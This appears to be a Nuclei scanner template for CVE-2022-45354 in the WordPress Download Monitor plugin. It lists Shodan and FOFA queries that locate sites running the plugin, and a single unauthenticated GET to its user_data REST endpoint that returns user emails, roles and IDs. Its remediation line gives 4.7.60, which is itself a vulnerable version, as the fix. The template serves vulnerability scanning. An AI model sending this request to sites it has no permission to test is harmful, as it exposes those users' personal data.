id: CVE-2022-45354

info:
  name: Download Monitor <= 4.7.60 - Sensitive Information Exposure
  author: DhiyaneshDK
  severity: high
  description: |
    The Download Monitor plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.7.60 via REST API. This can allow unauthenticated attackers to extract sensitive data including user reports, download reports, and user data including email, role, id and other info (not passwords)
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks or unauthorized access.
  remediation: |
    Update to the latest version of the Download Monitor plugin (4.7.60) or apply the provided patch to fix the vulnerability.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2022-45354
    - https://wordpress.org/plugins/download-monitor/
    - https://patchstack.com/database/vulnerability/download-monitor/wordpress-download-monitor-plugin-4-7-60-sensitive-data-exposure-vulnerability?_s_id=cve
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-45354
    epss-score: 0.89364
    epss-percentile: 0.99557
    cpe: cpe:2.3:a:wpchill:download_monitor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpchill
    product: download_monitor
    framework: wordpress
    shodan-query:
      - html:"/wp-content/plugins/download-monitor/"
      - http.html:"/wp-content/plugins/download-monitor/"
    fofa-query: body="/wp-content/plugins/download-monitor/"
  tags: cve,cve2022,wordpress,wp-plugin,download-monitor,wp,wpchill,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/download-monitor/v1/user_data"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"registered":'
          - '"display_name":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e0ad3b3f9ec82b624ba97970d6ed40103236b2557c060e9ca3e7aa0bb146ffbb022075149f7873d608ad62e93d2b9a9be30aa60592c474f8543de3fd915612f8ed41:922c64590222798bb761d5b6d8e72950